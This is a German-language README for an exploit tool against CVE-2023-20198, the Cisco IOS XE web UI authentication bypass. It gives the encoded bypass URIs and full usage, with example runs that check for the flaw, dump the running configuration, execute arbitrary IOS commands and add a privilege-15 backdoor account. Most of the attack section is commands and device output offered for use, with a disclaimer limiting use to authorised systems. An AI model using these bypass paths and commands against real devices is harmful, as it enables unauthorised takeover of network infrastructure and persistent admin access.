
CVE-2023-20198 Exploit PoC
Exploit PoC für CVE-2023-20198
CVE-2023-20198 ist durch eine fehlerhafte Pfadvalidierung gekennzeichnet, die die Nginx-Filterung umgeht, um den webui_wsma_http-Webendpunkt ohne Authentifizierung zu erreichen.
Durch die Umgehung der Authentifizierung für den Endpunkt kann ein Angreifer beliebige Cisco IOS-Befehle ausführen oder Konfigurationsänderungen mit Privilege-15-Rechten vornehmen.
Ciscos Untersuchung zur aktiven Ausnutzung der zuvor nicht offengelegten Schwachstelle ergab, dass Bedrohungsakteure zunächst CVE-2023-20198 ausnutzten, um einen neuen Benutzer mit Privilege Level 15 hinzuzufügen. Weitere Angriffe beinhalteten die Ausnutzung von CVE-2023-20273, um zum darunterliegenden Linux-OS-root-Benutzer zu eskalieren und die Implantation zu erleichtern.
Dieser PoC nutzt CVE-2023-20198, um zwei verschiedene XML-SOAP-Endpunkte zu verwenden:
Die Optionen zur Schwachstellenprüfung, Konfiguration und Befehlsausführung zielen alle auf den cisco:wsma-exec-SOAP-Endpunkt, um Befehle in das execCLI-Element-Tag einzufügen.
Die Option zum Hinzufügen eines Benutzers zielt auf den cisco:wsma-config-SOAP-Endpunkt, um eine Konfigurationsänderung vorzunehmen und das Privilege-15-Konto hinzuzufügen. Dieser Endpunkt könnte [miss]braucht werden, um andere Konfigurationsänderungen vorzunehmen, aber das liegt außerhalb des Rahmens dieses PoC.
Der Missbrauch des cisco:wsma-exec-SOAP-Endpunkts stammt aus dem nuclei-Template.
Der Missbrauch des cisco:wsma-config-SOAP-Endpunkts stammt aus dem horizon3ai-PoC.
Hinweis: Ich habe keine der ursprünglichen Forschungen oder PoC-Entwicklungen für diese CVE durchgeführt. Siehe den Abschnitt „Referenzen“ für die Autorenangaben.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-uri vulnerableURI The URI that is vulnerable to exploit. The most common are "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https", and "%2577ebui_wsma_https". You may need to play around with these along with -https to get a true positive result
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Um auf CVE-2023-20198 zu prüfen, versucht -c, die Schwachstelle auszunutzen, um uname -a auszuführen.
Beispiel:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
Die Option -g führt sh run aus, um die laufende Konfiguration abzurufen.
Beispiel:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Mit der Option -e können beliebige Cisco IOS-Befehle ausgeführt werden.
Äußerste Vorsicht ist geboten, wenn damit Konfigurationsänderungen vorgenommen werden. Es gibt keine Eingabevalidierung und Änderungen werden sofort auf die laufende Konfiguration angewendet.
Beispiel:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
Die Option -a kann verwendet werden, um ein neues Privilege-15-Benutzerkonto zu erstellen, optional mit Angabe des Kontonamens und Passworts über -u bzw. -p.
Beispiel:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
Die Option -d kann verwendet werden, um ein Benutzerkonto vom Gerät zu entfernen und respektiert den mit -u angegebenen Benutzernamen.
Vorsicht ist geboten, um sicherzustellen, dass kein legitimes Konto gelöscht wird.
Dies wurde für Fälle hinzugefügt, in denen kein Shell-/Webui-Zugriff auf ein ausgenutztes Cisco-Gerät erlangt werden kann. Es wurde beobachtet, dass das Hinzufügen eines Privilege-15-Benutzers keinen Webui-Zugriff gewährt und dazu führen kann, dass Exploit-Artifakte auf den Hosts hinterlassen werden.
Cisco Advisory
horizon3ai CVE-2023-20198 research
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 template (Authors: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
Der in diesem Projekt enthaltene Code ist ausschließlich für Forschung und Nutzung auf Systemen bestimmt, für die der Benutzer eine ausdrückliche Genehmigung hat.
Der Autor dieses Projekts ist nicht verantwortlich oder haftbar für den Missbrauch der Software.
Nutze es verantwortungsbewusst und sei nicht böse.